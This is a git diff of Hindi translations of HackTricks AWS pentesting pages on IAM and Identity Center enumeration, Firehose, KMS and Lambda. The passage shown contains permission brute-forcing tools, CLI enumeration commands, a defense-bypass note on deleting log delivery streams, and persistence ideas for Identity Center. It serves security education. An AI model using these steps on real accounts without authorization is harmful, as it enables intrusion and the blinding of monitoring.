b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index b52637495..aa09a985e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -1,4 +1,4 @@ -# AWS - IAM, Identity Center & SSO Enum +# AWS - IAM, पहचान केंद्र और SSO Enum {{#include ../../../banners/hacktricks-training.md}} @@ -101,24 +101,24 @@ bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` #### bf-aws-perms-simulate -उपकरण [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) आपकी वर्तमान अनुमति (या अन्य प्रिंसिपलों की) को खोज सकता है यदि आपके पास अनुमति **`iam:SimulatePrincipalPolicy`** है। +उपकरण [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) आपकी वर्तमान अनुमति (या अन्य प्रिंसिपलों की) को ढूंढ सकता है यदि आपके पास अनुमति **`iam:SimulatePrincipalPolicy`** है। ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` #### Perms2ManagedPolicies -यदि आपने **कुछ अनुमतियाँ पाई हैं जो आपके उपयोगकर्ता के पास हैं**, और आप सोचते हैं कि ये **प्रबंधित AWS भूमिका** द्वारा दी जा रही हैं (और किसी कस्टम द्वारा नहीं)। आप टूल [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) का उपयोग कर सकते हैं यह जांचने के लिए कि **कौन सी AWS प्रबंधित भूमिकाएँ उन अनुमतियों को प्रदान करती हैं जो आपने खोजी हैं कि आपके पास हैं**। +यदि आपने **कुछ अनुमतियाँ पाई हैं जो आपके उपयोगकर्ता के पास हैं**, और आप सोचते हैं कि ये **प्रबंधित AWS भूमिका** द्वारा दी जा रही हैं (और किसी कस्टम द्वारा नहीं)। आप टूल [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) का उपयोग कर सकते हैं यह जांचने के लिए कि **AWS प्रबंधित भूमिकाएँ कौन सी हैं जो उन अनुमतियों को प्रदान करती हैं जो आपने खोजी हैं कि आपके पास हैं**। ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` > [!WARNING] -> यह संभव है कि आप "जानें" कि आपके पास जो अनुमतियाँ हैं वे AWS प्रबंधित भूमिका द्वारा दी गई हैं यदि आप देखते हैं कि **आपके पास उन सेवाओं पर अनुमतियाँ हैं जो उपयोग में नहीं हैं** उदाहरण के लिए। +> यह "जानना" संभव है कि आपके पास जो अनुमतियाँ हैं वे AWS प्रबंधित भूमिका द्वारा दी गई हैं यदि आप देखते हैं कि **आपके पास उन सेवाओं पर अनुमतियाँ हैं जो उपयोग नहीं की जाती हैं** उदाहरण के लिए। #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) एक Python उपकरण है जो **AWS CloudTrail लॉग का विश्लेषण करता है ताकि सभी या केवल एक विशिष्ट उपयोगकर्ता या भूमिका द्वारा किए गए कार्यों को निकाला और संक्षेपित किया जा सके**। यह उपकरण **निर्दिष्ट बकेट से हर cloudtrail लॉग को पार्स करेगा**। +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) एक Python उपकरण है जो **AWS CloudTrail लॉग का विश्लेषण करता है ताकि सभी या केवल एक विशिष्ट उपयोगकर्ता या भूमिका द्वारा किए गए कार्यों को निकाला और संक्षेपित किया जा सके**। यह उपकरण **निर्दिष्ट बकेट से हर क्लाउडट्रेल लॉग को पार्स करेगा**। ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM @@ -130,12 +130,12 @@ python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PR #### enumerate-iam -इस उपकरण का उपयोग करने के लिए [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) आपको पहले सभी API AWS एंडपॉइंट्स डाउनलोड करने की आवश्यकता है, जिनमें से स्क्रिप्ट **`generate_bruteforce_tests.py`** सभी **"list\_", "describe\_", और "get\_" एंडपॉइंट्स प्राप्त करेगी।** और अंततः, यह दिए गए क्रेडेंशियल्स के साथ **उन्हें एक्सेस करने की कोशिश करेगी** और **यह बताएगी कि क्या यह सफल रहा।** +इस टूल [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) का उपयोग करने के लिए, आपको पहले सभी API AWS एंडपॉइंट्स डाउनलोड करने की आवश्यकता है, जिनमें से स्क्रिप्ट **`generate_bruteforce_tests.py`** सभी **"list\_", "describe\_", और "get\_" एंडपॉइंट्स प्राप्त करेगी।** और अंत में, यह दिए गए क्रेडेंशियल्स के साथ **उन्हें एक्सेस करने की कोशिश करेगी** और **यह बताएगी कि क्या यह सफल रहा।** -(मेरे अनुभव में **उपकरण किसी बिंदु पर लटक जाता है**, [**इस फिक्स को देखें**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) इसे ठीक करने के लिए प्रयास करने के लिए)। +(मेरे अनुभव में **यह टूल किसी बिंदु पर लटक जाता है**, [**इस फिक्स को देखें**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) इसे ठीक करने के लिए प्रयास करने के लिए)। > [!WARNING] -> मेरे अनुभव में यह उपकरण पिछले वाले की तरह है लेकिन खराब काम कर रहा है और कम अनुमतियों की जांच कर रहा है। +> मेरे अनुभव में यह टूल पिछले वाले की तरह है लेकिन खराब काम कर रहा है और कम अनुमतियों की जांच कर रहा है। ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -224,7 +224,7 @@ steampipe dashboard ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM पोस्ट शोषण +### IAM पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md @@ -266,7 +266,7 @@ Identity Center के मुख्य तत्व हैं: फिर, संबंध बनाए जाते हैं ताकि उपयोगकर्ता/समूहों के पास AWS खाते पर अनुमति सेट हो। > [!NOTE] -> ध्यान दें कि अनुमति सेट पर नीतियाँ संलग्न करने के 3 तरीके हैं। AWS प्रबंधित नीतियों को संलग्न करना, ग्राहक प्रबंधित नीतियाँ (इन नीतियों को उन सभी खातों में बनाना आवश्यक है जिन पर अनुमति सेट प्रभाव डाल रहा है), और इनलाइन नीतियाँ (जो वहाँ परिभाषित हैं)। +> ध्यान दें कि अनुमति सेट पर नीतियाँ संलग्न करने के 3 तरीके हैं। AWS प्रबंधित नीतियाँ संलग्न करना, ग्राहक प्रबंधित नीतियाँ (ये नीतियाँ उन सभी खातों में बनाई जानी चाहिए जिन पर अनुमति सेट प्रभाव डाल रहा है), और इनलाइन नीतियाँ (जो वहाँ परिभाषित हैं)। ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -302,7 +302,7 @@ aws identitystore list-group-memberships-for-member --identity-store-id --user-name privesc ``` - एक समूह बनाएं और इसे अनुमतियाँ सौंपें और उस पर एक नियंत्रित उपयोगकर्ता सेट करें - एक नियंत्रित उपयोगकर्ता या समूह को अतिरिक्त अनुमतियाँ दें -- डिफ़ॉल्ट रूप से, केवल प्रबंधन खाते के उपयोगकर्ताओं के पास IAM पहचान केंद्र तक पहुँचने और उसे नियंत्रित करने की अनुमति होगी। +- डिफ़ॉल्ट रूप से, केवल प्रबंधन खाते से अनुमतियों वाले उपयोगकर्ता IAM पहचान केंद्र तक पहुँच और नियंत्रण करने में सक्षम होंगे। -हालांकि, डेलीगेट एडमिनिस्ट्रेटर के माध्यम से एक अलग खाते के उपयोगकर्ताओं को इसे प्रबंधित करने की अनुमति देना संभव है। उनके पास बिल्कुल वही अनुमति नहीं होगी, लेकिन वे [**प्रबंधन गतिविधियाँ**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) करने में सक्षम होंगे। +हालांकि, यह डेलीगेट एडमिनिस्ट्रेटर के माध्यम से संभव है कि एक अलग खाते के उपयोगकर्ताओं को इसे प्रबंधित करने की अनुमति दी जाए। उनके पास बिल्कुल वही अनुमति नहीं होगी, लेकिन वे [**प्रबंधन गतिविधियाँ**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) करने में सक्षम होंगे। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index ae782337f..5cb004383 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -6,7 +6,7 @@ Amazon Kinesis Data Firehose एक **पूर्ण रूप से प्रबंधित सेवा** है जो **वास्तविक समय स्ट्रीमिंग डेटा** की डिलीवरी को सुविधाजनक बनाती है। यह कई गंतव्यों का समर्थन करता है, जिसमें Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, और कस्टम HTTP एंडपॉइंट शामिल हैं। -यह सेवा डेटा उत्पादकों को Kinesis Data Firehose पर डेटा सीधे अग्रेषित करने के लिए कॉन्फ़िगर करने की अनुमति देकर अनुप्रयोगों को लिखने या संसाधनों का प्रबंधन करने की आवश्यकता को कम करती है। यह सेवा **निर्धारित गंतव्य पर डेटा की स्वचालित डिलीवरी** के लिए जिम्मेदार है। इसके अतिरिक्त, Kinesis Data Firehose **डिलीवरी से पहले डेटा को परिवर्तित करने** का विकल्प प्रदान करता है, जिससे इसकी लचीलापन और विभिन्न उपयोग मामलों में अनुप्रयोगिता बढ़ती है। +यह सेवा डेटा उत्पादकों को Kinesis Data Firehose पर सीधे डेटा अग्रेषित करने के लिए कॉन्फ़िगर करने की अनुमति देकर अनुप्रयोग लिखने या संसाधनों का प्रबंधन करने की आवश्यकता को कम करती है। यह सेवा **निर्धारित गंतव्य पर डेटा की स्वचालित डिलीवरी** के लिए जिम्मेदार है। इसके अतिरिक्त, Kinesis Data Firehose **डिलीवरी से पहले डेटा को परिवर्तित करने** का विकल्प प्रदान करता है, जिससे इसकी लचीलापन और विभिन्न उपयोग मामलों में अनुप्रयोगिता बढ़ती है। ### Enumeration ```bash @@ -18,9 +18,9 @@ aws firehose describe-delivery-stream --delivery-stream-name ## Get roles aws firehose describe-delivery-stream --delivery-stream-name | grep -i RoleARN ``` -## Post-exploitation / Defense Bypass +## पोस्ट-एक्सप्लॉइटेशन / डिफेंस बायपास -यदि firehose का उपयोग लॉग या रक्षा अंतर्दृष्टि भेजने के लिए किया जाता है, तो इन कार्यात्मकताओं का उपयोग करके एक हमलावर इसे सही तरीके से काम करने से रोक सकता है। +यदि फायरहोज़ का उपयोग लॉग या डिफेंस इनसाइट्स भेजने के लिए किया जाता है, तो इन कार्यात्मकताओं का उपयोग करके एक हमलावर इसे सही तरीके से काम करने से रोक सकता है। ### firehose:DeleteDeliveryStream ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index e343a49e1..877bb1507 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -6,15 +6,15 @@ AWS Key Management Service (AWS KMS) एक प्रबंधित सेवा के रूप में प्रस्तुत किया गया है, जो उपयोगकर्ताओं के लिए **ग्राहक मास्टर कुंजी** (CMKs) **बनाने और प्रबंधित करने** की प्रक्रिया को सरल बनाता है। ये CMKs उपयोगकर्ता डेटा के एन्क्रिप्शन में महत्वपूर्ण हैं। AWS KMS की एक उल्लेखनीय विशेषता यह है कि CMKs मुख्य रूप से **हार्डवेयर सुरक्षा मॉड्यूल** (HSMs) द्वारा **सुरक्षित** होते हैं, जो एन्क्रिप्शन कुंजियों की सुरक्षा को बढ़ाते हैं। -KMS **समानांतर क्रिप्टोग्राफी** का उपयोग करता है। इसका उपयोग **जानकारी को आराम से एन्क्रिप्ट करने** के लिए किया जाता है (उदाहरण के लिए, S3 के अंदर)। यदि आपको **जानकारी को ट्रांजिट में एन्क्रिप्ट** करने की आवश्यकता है, तो आपको कुछ ऐसा उपयोग करना होगा जैसे **TLS**। +KMS **समानांतर क्रिप्टोग्राफी** का उपयोग करता है। इसका उपयोग **जानकारी को आराम में एन्क्रिप्ट करने** के लिए किया जाता है (उदाहरण के लिए, एक S3 के अंदर)। यदि आपको **जानकारी को ट्रांजिट में एन्क्रिप्ट करने** की आवश्यकता है, तो आपको कुछ ऐसा उपयोग करना होगा जैसे **TLS**। KMS एक **क्षेत्र विशेष सेवा** है। -**अमेज़न के प्रशासकों को आपकी कुंजियों तक पहुंच नहीं है**। वे आपकी कुंजियों को पुनर्प्राप्त नहीं कर सकते और वे आपकी कुंजियों के एन्क्रिप्शन में आपकी मदद नहीं करते। AWS केवल ऑपरेटिंग सिस्टम और इसके अंतर्निहित एप्लिकेशन का प्रबंधन करता है, यह हमारे ऊपर है कि हम अपनी एन्क्रिप्शन कुंजियों का प्रबंधन करें और यह प्रबंधित करें कि उन कुंजियों का उपयोग कैसे किया जाता है। +**अमेज़न के प्रशासकों को आपकी कुंजियों तक पहुंच नहीं है**। वे आपकी कुंजियों को पुनर्प्राप्त नहीं कर सकते और वे आपकी कुंजियों के एन्क्रिप्शन में आपकी मदद नहीं करते। AWS केवल ऑपरेटिंग सिस्टम और इसके अंतर्निहित एप्लिकेशन का प्रबंधन करता है, यह हमारे ऊपर है कि हम अपनी एन्क्रिप्शन कुंजियों का प्रबंधन करें और यह निर्धारित करें कि उन कुंजियों का उपयोग कैसे किया जाता है। -**ग्राहक मास्टर कुंजी** (CMK): डेटा को 4KB के आकार तक एन्क्रिप्ट कर सकती हैं। इनका उपयोग आमतौर पर DEKs (डेटा एन्क्रिप्शन कुंजी) बनाने, एन्क्रिप्ट करने और डिक्रिप्ट करने के लिए किया जाता है। फिर DEKs का उपयोग डेटा को एन्क्रिप्ट करने के लिए किया जाता है। +**ग्राहक मास्टर कुंजी** (CMK): 4KB तक के आकार के डेटा को एन्क्रिप्ट कर सकती हैं। इनका उपयोग आमतौर पर DEKs (डेटा एन्क्रिप्शन कुंजी) बनाने, एन्क्रिप्ट करने और डिक्रिप्ट करने के लिए किया जाता है। फिर DEKs का उपयोग डेटा को एन्क्रिप्ट करने के लिए किया जाता है। -एक ग्राहक मास्टर कुंजी (CMK) AWS KMS में एक मास्टर कुंजी का तार्किक प्रतिनिधित्व है। मास्टर कुंजी के पहचानकर्ताओं और अन्य मेटाडेटा, जिसमें इसकी निर्माण तिथि, विवरण और कुंजी स्थिति शामिल है, के अलावा, एक **CMK में वह कुंजी सामग्री होती है जिसका उपयोग डेटा को एन्क्रिप्ट और डिक्रिप्ट करने के लिए किया जाता है**। जब आप एक CMK बनाते हैं, तो डिफ़ॉल्ट रूप से, AWS KMS उस CMK के लिए कुंजी सामग्री उत्पन्न करता है। हालाँकि, आप कुंजी सामग्री के बिना एक CMK बनाने का विकल्प चुन सकते हैं और फिर उस CMK में अपनी स्वयं की कुंजी सामग्री आयात कर सकते हैं। +एक ग्राहक मास्टर कुंजी (CMK) AWS KMS में एक मास्टर कुंजी का तार्किक प्रतिनिधित्व है। मास्टर कुंजी के पहचानकर्ताओं और अन्य मेटाडेटा, जिसमें इसकी निर्माण तिथि, विवरण और कुंजी स्थिति शामिल है, के अलावा, एक **CMK में वह कुंजी सामग्री होती है जिसका उपयोग डेटा को एन्क्रिप्ट और डिक्रिप्ट करने के लिए किया जाता है**। जब आप एक CMK बनाते हैं, तो डिफ़ॉल्ट रूप से, AWS KMS उस CMK के लिए कुंजी सामग्री उत्पन्न करता है। हालाँकि, आप बिना कुंजी सामग्री के CMK बनाने का विकल्प चुन सकते हैं और फिर उस CMK में अपनी स्वयं की कुंजी सामग्री आयात कर सकते हैं। मास्टर कुंजियों के 2 प्रकार हैं: @@ -25,21 +25,21 @@ KMS एक **क्षेत्र विशेष सेवा** है। ### कुंजी नीतियाँ -ये **यह परिभाषित करती हैं कि KMS में कुंजी का उपयोग और पहुंच कौन कर सकता है**। +ये **निर्धारित करती हैं कि KMS में कुंजी का उपयोग और पहुंच कौन कर सकता है**। **डिफ़ॉल्ट रूप से:** - यह **KMS कुंजी के मालिक AWS खाते के IAM को KMS कुंजी तक पहुंच प्रबंधित करने** की अनुमति देता है। -अन्य AWS संसाधन नीतियों के विपरीत, AWS **KMS कुंजी नीति स्वचालित रूप से खाते के किसी भी प्रमुख को अनुमति नहीं देती है**। खाता प्रशासकों को अनुमति देने के लिए, **कुंजी नीति में एक स्पष्ट कथन शामिल होना चाहिए** जो इस अनुमति को प्रदान करता है, जैसे कि यह। +अन्य AWS संसाधन नीतियों के विपरीत, AWS **KMS कुंजी नीति स्वचालित रूप से खाते के किसी भी प्रिंसिपल को अनुमति नहीं देती है**। खाता प्रशासकों को अनुमति देने के लिए, **कुंजी नीति में एक स्पष्ट कथन शामिल होना चाहिए** जो इस अनुमति को प्रदान करता है, जैसे कि यह। - बिना खाते को अनुमति दिए (`"AWS": "arn:aws:iam::111122223333:root"`) IAM अनुमतियाँ काम नहीं करेंगी। - यह **IAM नीतियों का उपयोग करने के लिए खाते को KMS कुंजी तक पहुंच की अनुमति देता है**, इसके अलावा कुंजी नीति के। -**इस अनुमति के बिना, कुंजी तक पहुंच की अनुमति देने वाली IAM नीतियाँ अप्रभावी हैं**, हालाँकि कुंजी तक पहुंच को अस्वीकार करने वाली IAM नीतियाँ अभी भी प्रभावी हैं। +**इस अनुमति के बिना, कुंजी तक पहुंच की अनुमति देने वाली IAM नीतियाँ प्रभावी नहीं हैं**, हालाँकि कुंजी तक पहुंच को अस्वीकार करने वाली IAM नीतियाँ अभी भी प्रभावी हैं। -- यह **कुंजी के अप्रबंधनीय होने के जोखिम को कम करता है** द्वारा खाता प्रशासकों, जिसमें खाता रूट उपयोगकर्ता शामिल है, को पहुंच नियंत्रण अनुमति देकर, जिसे हटाया नहीं जा सकता। +- यह **कुंजी के असंगठित होने के जोखिम को कम करता है** द्वारा खाता प्रशासकों, जिसमें खाता रूट उपयोगकर्ता शामिल है, को पहुंच नियंत्रण अनुमति देकर, जिसे हटाया नहीं जा सकता। **डिफ़ॉल्ट नीति** उदाहरण: ```json @@ -54,7 +54,7 @@ KMS एक **क्षेत्र विशेष सेवा** है। } ``` > [!WARNING] -> यदि **खाता अनुमति दी गई है** (`"arn:aws:iam::111122223333:root"`) तो **खाते से एक प्रिंसिपल** को KMS कुंजी का उपयोग करने के लिए **IAM अनुमतियों** की आवश्यकता होगी। हालाँकि, यदि किसी भूमिका का **ARN** उदाहरण के लिए **विशेष रूप से अनुमति दी गई है** **कुंजी नीति** में, तो उस भूमिका को **IAM अनुमतियों** की आवश्यकता नहीं है। +> यदि **खाता अनुमति दी गई है** (`"arn:aws:iam::111122223333:root"`), तो खाते से एक **प्रिंसिपल** को KMS कुंजी का उपयोग करने के लिए **IAM अनुमतियों** की आवश्यकता होगी। हालाँकि, यदि किसी भूमिका का **ARN** उदाहरण के लिए **विशेष रूप से अनुमति दी गई है** **कुंजी नीति** में, तो उस भूमिका को **IAM अनुमतियों** की आवश्यकता नहीं है।
@@ -71,8 +71,8 @@ KMS एक **क्षेत्र विशेष सेवा** है। अनुदान: -- अपने अनुमतियों को अपने AWS खाते के भीतर किसी अन्य AWS प्रिंसिपल को सौंपने की अनुमति देता है। आपको उन्हें AWS KMS APIs का उपयोग करके बनाना होगा। इसमें CMK पहचानकर्ता, अनुदान प्राप्त करने वाला प्रिंसिपल और आवश्यक संचालन का स्तर (Decrypt, Encrypt, GenerateDataKey...) निर्दिष्ट किया जा सकता है। -- अनुदान बनाने के बाद एक GrantToken और एक GrantID जारी किया जाता है। +- आपके AWS खाते के भीतर किसी अन्य AWS प्रिंसिपल को आपकी अनुमतियों को सौंपने की अनुमति देता है। आपको उन्हें AWS KMS APIs का उपयोग करके बनाना होगा। इसमें CMK पहचानकर्ता, अनुदान प्राप्त करने वाला प्रिंसिपल और आवश्यक संचालन का स्तर (Decrypt, Encrypt, GenerateDataKey...) निर्दिष्ट किया जा सकता है। +- अनुदान बनाए जाने के बाद एक GrantToken और एक GrantID जारी किया जाता है। **पहुँच**: @@ -86,37 +86,37 @@ KMS एक **क्षेत्र विशेष सेवा** है। डिफ़ॉल्ट रूप से कुंजी प्रशासक: -- KMS प्रबंधित करने के लिए पहुँच रखते हैं लेकिन डेटा को एन्क्रिप्ट या डिक्रिप्ट करने के लिए नहीं। +- KMS प्रबंधित करने के लिए पहुँच रखते हैं लेकिन डेटा को एन्क्रिप्ट या डिक्रिप्ट नहीं कर सकते। - केवल IAM उपयोगकर्ताओं और भूमिकाओं को कुंजी प्रशासकों की सूची में जोड़ा जा सकता है (समूह नहीं)। - यदि बाहरी CMK का उपयोग किया जाता है, तो कुंजी प्रशासकों को कुंजी सामग्री आयात करने की अनुमति होती है। -### CMKs का रोटेशन +### CMKs का घुमाव -- जितना अधिक समय एक ही कुंजी को रखा जाता है, उतना अधिक डेटा उस कुंजी के साथ एन्क्रिप्ट किया जाता है, और यदि वह कुंजी भंग हो जाती है, तो डेटा का विस्फोट क्षेत्र उतना ही बड़ा होता है। इसके अलावा, जितना अधिक समय कुंजी सक्रिय रहती है, उसके भंग होने की संभावना बढ़ती है। -- **KMS हर 365 दिनों में ग्राहक कुंजी को घुमाता है** (या आप जब चाहें प्रक्रिया को मैन्युअल रूप से कर सकते हैं) और **AWS द्वारा प्रबंधित कुंजी हर 3 वर्षों में** होती है और इस बार इसे नहीं बदला जा सकता। -- **पुरानी कुंजियाँ रखी जाती हैं** ताकि डेटा को डिक्रिप्ट किया जा सके जो रोटेशन से पहले एन्क्रिप्ट किया गया था। -- एक ब्रेक में, कुंजी को घुमाने से खतरा समाप्त नहीं होगा क्योंकि यह सभी डेटा को डिक्रिप्ट करना संभव होगा जो समझौता की गई कुंजी के साथ एन्क्रिप्ट किया गया था। हालाँकि, **नया डेटा नई कुंजी के साथ एन्क्रिप्ट किया जाएगा**। -- यदि **CMK** **अक्षम** या **हटाने के लिए लंबित** स्थिति में है, तो KMS **कुंजी रोटेशन** नहीं करेगा जब तक कि CMK को फिर से सक्षम नहीं किया जाता या हटाने को रद्द नहीं किया जाता। +- जितना अधिक समय एक ही कुंजी को स्थान पर छोड़ा जाता है, उतना अधिक डेटा उस कुंजी के साथ एन्क्रिप्ट किया जाता है, और यदि वह कुंजी भंग हो जाती है, तो डेटा का विस्फोट क्षेत्र उतना ही बड़ा होता है। इसके अलावा, जितना अधिक समय कुंजी सक्रिय रहती है, उसके भंग होने की संभावना बढ़ती है। +- **KMS हर 365 दिनों में ग्राहक कुंजी घुमाता है** (या आप जब चाहें प्रक्रिया को मैन्युअल रूप से कर सकते हैं) और **AWS द्वारा प्रबंधित कुंजी हर 3 वर्षों में** होती है और इस बार इसे नहीं बदला जा सकता। +- **पुरानी कुंजियाँ रखी जाती हैं** ताकि घुमाव से पहले एन्क्रिप्ट किए गए डेटा को डिक्रिप्ट किया जा सके। +- एक ब्रेक में, कुंजी को घुमाने से खतरा समाप्त नहीं होगा क्योंकि यह भंग की गई कुंजी के साथ एन्क्रिप्ट किए गए सभी डेटा को डिक्रिप्ट करना संभव होगा। हालाँकि, **नया डेटा नई कुंजी के साथ एन्क्रिप्ट किया जाएगा**। +- यदि **CMK** **अक्षम** या **हटाने के लिए लंबित** स्थिति में है, तो KMS **कुंजी घुमाव** नहीं करेगा जब तक कि CMK को फिर से सक्षम नहीं किया जाता या हटाने को रद्द नहीं किया जाता। -#### मैन्युअल रोटेशन +#### मैन्युअल घुमाव -- एक **नई CMK बनानी होगी**, फिर, एक नई CMK-ID बनाई जाती है, इसलिए आपको **कोई भी आवेदन** को **नए CMK-ID** का **संदर्भ** देने के लिए **अपडेट** करना होगा। -- इस प्रक्रिया को आसान बनाने के लिए आप **कुंजी-आईडी का संदर्भ देने के लिए उपनामों का उपयोग कर सकते हैं** और फिर केवल उस कुंजी को अपडेट करें जिसका उपनाम संदर्भित कर रहा है। -- आपको **पुरानी कुंजियाँ रखनी होंगी** ताकि पुराने फ़ाइलों को डिक्रिप्ट किया जा सके जो इसके साथ एन्क्रिप्ट की गई थीं। +- एक **नई CMK बनानी होगी**, फिर, एक नई CMK-ID बनाई जाती है, इसलिए आपको **कोई भी आवेदन** **नवीनतम CMK-ID** को **संदर्भित** करने के लिए **अपडेट** करना होगा। +- इस प्रक्रिया को आसान बनाने के लिए आप **कुंजी-आईडी को संदर्भित करने के लिए उपनामों का उपयोग कर सकते हैं** और फिर केवल उस कुंजी को अपडेट करें जिसका उपनाम संदर्भित कर रहा है। +- आपको **पुरानी कुंजियाँ रखनी होंगी** ताकि इसके साथ एन्क्रिप्ट की गई पुरानी फ़ाइलों को डिक्रिप्ट किया जा सके। आप अपने ऑन-प्रिमाइसेस कुंजी अवसंरचना से कुंजियाँ आयात कर सकते हैं। ### अन्य प्रासंगिक KMS जानकारी -KMS की कीमत सभी सेवाओं से प्राप्त एन्क्रिप्शन/डिक्रिप्शन अनुरोधों की संख्या के आधार पर होती है। +KMS की कीमत सभी सेवाओं से प्राप्त एन्क्रिप्शन/डिक्रिप्शन अनुरोधों की संख्या के अनुसार होती है। KMS में पूर्ण ऑडिट और अनुपालन **CloudTrail के साथ एकीकरण** है; यहीं आप KMS पर किए गए सभी परिवर्तनों का ऑडिट कर सकते हैं। KMS नीति के साथ आप निम्नलिखित कर सकते हैं: -- यह सीमित करें कि कौन डेटा कुंजी बना सकता है और कौन सी सेवाएँ इन कुंजियों का उपयोग करने के लिए पहुँच रखती हैं। -- सिस्टम की पहुँच को केवल एन्क्रिप्ट करने, केवल डिक्रिप्ट करने या दोनों तक सीमित करें। -- यह परिभाषित करें कि सिस्टम को क्षेत्रों के बीच कुंजियों तक पहुँचने की अनुमति दी जाए (हालाँकि यह अनुशंसित नहीं है क्योंकि KMS को होस्ट करने वाले क्षेत्र में विफलता अन्य क्षेत्रों में सिस्टम की उपलब्धता को प्रभावित करेगी)। +- यह सीमित करें कि कौन डेटा कुंजी बना सकता है और कौन सी सेवाओं को इन कुंजियों का उपयोग करने की अनुमति है। +- सिस्टम की पहुँच को केवल एन्क्रिप्ट, केवल डिक्रिप्ट या दोनों तक सीमित करें। +- यह परिभाषित करें कि सिस्टम को क्षेत्रों के बीच कुंजियों तक पहुँचने की अनुमति दी जाए (हालांकि यह अनुशंसित नहीं है क्योंकि KMS को होस्ट करने वाले क्षेत्र में विफलता अन्य क्षेत्रों में सिस्टम की उपलब्धता को प्रभावित करेगी)। आप क्षेत्रों के बीच कुंजियों को समन्वयित या स्थानांतरित/कॉपी नहीं कर सकते; आप केवल क्षेत्र के बीच पहुँच की अनुमति देने के लिए नियम परिभाषित कर सकते हैं। diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 584ca97ab..880d2859e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,53 +4,53 @@ ## Lambda -Amazon Web Services (AWS) Lambda को एक **compute service** के रूप में वर्णित किया गया है जो कोड को सर्वर प्रावधान या प्रबंधन की आवश्यकता के बिना निष्पादित करने की अनुमति देता है। यह **कोड निष्पादन** के लिए आवश्यक संसाधन आवंटन को **स्वचालित रूप से संभालने** की क्षमता के लिए जाना जाता है, जो उच्च उपलब्धता, स्केलेबिलिटी और सुरक्षा जैसी सुविधाओं को सुनिश्चित करता है। Lambda का एक महत्वपूर्ण पहलू इसका मूल्य निर्धारण मॉडल है, जहां **शुल्क केवल उपयोग किए गए कंप्यूट समय पर आधारित होते हैं**, प्रारंभिक निवेश या दीर्घकालिक प्रतिबद्धताओं की आवश्यकता को समाप्त करता है। +Amazon Web Services (AWS) Lambda को एक **compute service** के रूप में वर्णित किया गया है जो कोड को निष्पादित करने की अनुमति देता है बिना सर्वर प्रावधान या प्रबंधन की आवश्यकता के। इसकी विशेषता यह है कि यह **कोड निष्पादन के लिए आवश्यक संसाधन आवंटन को स्वचालित रूप से संभालता है**, उच्च उपलब्धता, स्केलेबिलिटी और सुरक्षा जैसी सुविधाओं को सुनिश्चित करता है। Lambda का एक महत्वपूर्ण पहलू इसका मूल्य निर्धारण मॉडल है, जहां **शुल्क केवल उपयोग किए गए कंप्यूट समय पर आधारित होते हैं**, प्रारंभिक निवेश या दीर्घकालिक प्रतिबद्धताओं की आवश्यकता को समाप्त करता है। -एक लैम्ब्डा को कॉल करने के लिए इसे **जितनी बार चाहें** (Cloudwatch के साथ), **एक URL** एंडपॉइंट के माध्यम से एक्सपोज़ करके, **API Gateway** के माध्यम से या यहां तक कि **S3** बकेट में डेटा में **परिवर्तनों** या **DynamoDB** तालिका में अपडेट के आधार पर कॉल किया जा सकता है। +एक लैम्ब्डा को कॉल करने के लिए इसे **जितनी बार चाहें** (Cloudwatch के साथ) कॉल करना संभव है, **एक URL** एंडपॉइंट को **एक्सपोज** करना और इसे कॉल करना, **API Gateway** के माध्यम से कॉल करना या यहां तक कि **S3** बकेट में डेटा में **परिवर्तनों** या **DynamoDB** तालिका में अपडेट के आधार पर कॉल करना। एक लैम्ब्डा का **कोड** **`/var/task`** में संग्रहीत होता है। ### Lambda Aliases Weights एक Lambda के पास **कई संस्करण** हो सकते हैं।\ -और इसके पास **एक से अधिक** संस्करण हो सकते हैं जो 